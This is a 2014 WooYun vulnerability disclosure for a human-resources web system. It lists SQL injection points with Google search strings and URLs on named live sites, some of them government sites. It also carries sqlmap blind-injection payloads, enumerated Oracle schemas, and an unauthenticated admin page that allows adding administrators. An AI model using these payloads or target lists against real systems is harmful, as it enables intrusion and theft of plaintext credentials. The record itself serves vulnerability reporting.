某人力资源系统多处SQL注射/目录遍历/越权访问添加管理员（用户密码明文存储） | wooyun-2014-068614

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-068614

漏洞标题：

某人力资源系统多处SQL注射/目录遍历/越权访问添加管理员（用户密码明文存储）

漏洞详情

披露状态：

2014-07-17：细节已通知厂商并且等待厂商处理中
2014-07-22：厂商已经确认，细节仅向厂商公开
2014-07-25：细节向第三方安全合作伙伴开放
2014-09-15：细节向核心白帽子及相关领域专家公开
2014-09-25：细节向普通白帽子公开
2014-10-05：细节向实习白帽子公开
2014-10-15：细节向公众公开

简要描述：

感觉通用的洞都是后娘生的..
提交了要等审核，漫长的审核后还要纠结是否前台..

详细说明：

WooYun: 某人力资源系统任意文件下载(多家人力资源网存在问题) 有人提交过了
cncert国家互联网应急中心确认厂商为浙江天正思维信息技术有限公司（www.zjtzsw.com）

注入点#1: google搜索 CompanyAction.do?userid
影响案例：
http://www.dqlm.com/CompanyAction.do?method=getpersoninfo&userid=P9797&psempid=P9797
http://www.lhrlzyw.com/CompanyAction.do?method=getpersoninfo&userid=P16472&psempid=P16472
http://220.176.122.18:9090/CompanyAction.do?method=getpersoninfo&userid=P3648&psempid=P3648
http://www.lhjy.gov.cn/CompanyAction.do?method=getpersoninfo&userid=P14134&psempid=P14134
http://www.zjdeqing.lm.gov.cn/CompanyAction.do?method=getpersoninfo&userid=P7794&psempid=P7794

注入点#2: google搜索 PostInfoAction.do?postid
影响案例：
http://www.lhjy.gov.cn/PostInfoAction.do?method=TOPPostInfo&postid=6040101
http://www.dqlm.com/PostInfoAction.do?method=TOPPostInfo&postid=6040101
http://www.zjdeqing.lm.gov.cn/PostInfoAction.do?method=TOPPostInfo&postid=2021400
http://www.fzjob.net:9090/PostInfoAction.do?method=TOPPostInfo&postid=1050107
http://www.lhrlzyw.com/PostInfoAction.do?method=TOPPostInfo&postid=6040101
http://220.176.122.18:9090/PostInfoAction.do?method=TOPPostInfo&postid=6040101

注入点#3: google搜索 PersonUserAction.do?cmpid
影响案例：
http://www.dqlm.com//PersonUserAction.do?method=getcompanyInfo&postid=8229&cmpid=C2839
http://www.lhrlzyw.com/PersonUserAction.do?method=getcompanyInfo&postid=2739&cmpid=C1146
http://www.zjdeqing.lm.gov.cn/PersonUserAction.do?method=getcompanyInfo&postid=7613&cmpid=C2971
http://www.fzjob.net:9090/PersonUserAction.do?method=getcompanyInfo&postid=2702&cmpid=C1681
http://220.176.122.18:9090/PersonUserAction.do?method=getcompanyInfo&postid=2781&cmpid=C2402

注入点#4: google搜索 PersonAction.do?applyid
影响案例：
http://www.dqlm.com//PersonAction.do?method=TOPlistPerson&applyid=0003020
http://www.fzjob.net:9090/PersonAction.do?method=TOPlistPerson&applyid=0003020
http://www.lhrlzyw.com/PersonAction.do?method=TOPlistPerson&applyid=0003020
http://www.zjdeqing.lm.gov.cn/PersonAction.do?method=TOPlistPerson&applyid=0003020
http://220.176.122.18:9090/PersonAction.do?method=TOPlistPerson&applyid=0003020
http://www.lhjy.gov.cn/PersonAction.do?method=TOPlistPerson&applyid=0003020

以www.dqlm.com（德清人力资源网）示例一个：

---
Place: GET
Parameter: userid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: method=getpersoninfo&userid=P9798' AND 9467=9467 AND 'dFZb'='dFZb&p
sempid=P9798
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: method=getpersoninfo&userid=P9798' AND 2132=DBMS_PIPE.RECEIVE_MESSA
GE(CHR(80)||CHR(73)||CHR(99)||CHR(87),5) AND 'uPlj'='uPlj&psempid=P9798
---
[15:53:30] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle

available databases [21]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] DQWEB
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

密码明文存储，随便跑了几个测试下登录

漏洞证明：

多处目录遍历：

/include/
/company/
/news/
/images/
/upload
/admin/edit/
/reg/
/admin/images/
/FCKeditor/
/admin/user/

主要说说/admin/user/目录，该目录未授权访问，可以随意添加内部用户，赋予管理员权限
如：http://www.dqlm.com/admin/user/
http://www.lhrlzyw.com/admin/user/
http://www.lhjy.gov.cn/admin/user/
http://www.zjdeqing.lm.gov.cn/admin/user/
http://www.fzjob.net:9090/admin/user/
http://220.176.122.18:9090/admin/user/
（可以自己访问一下验证通用性）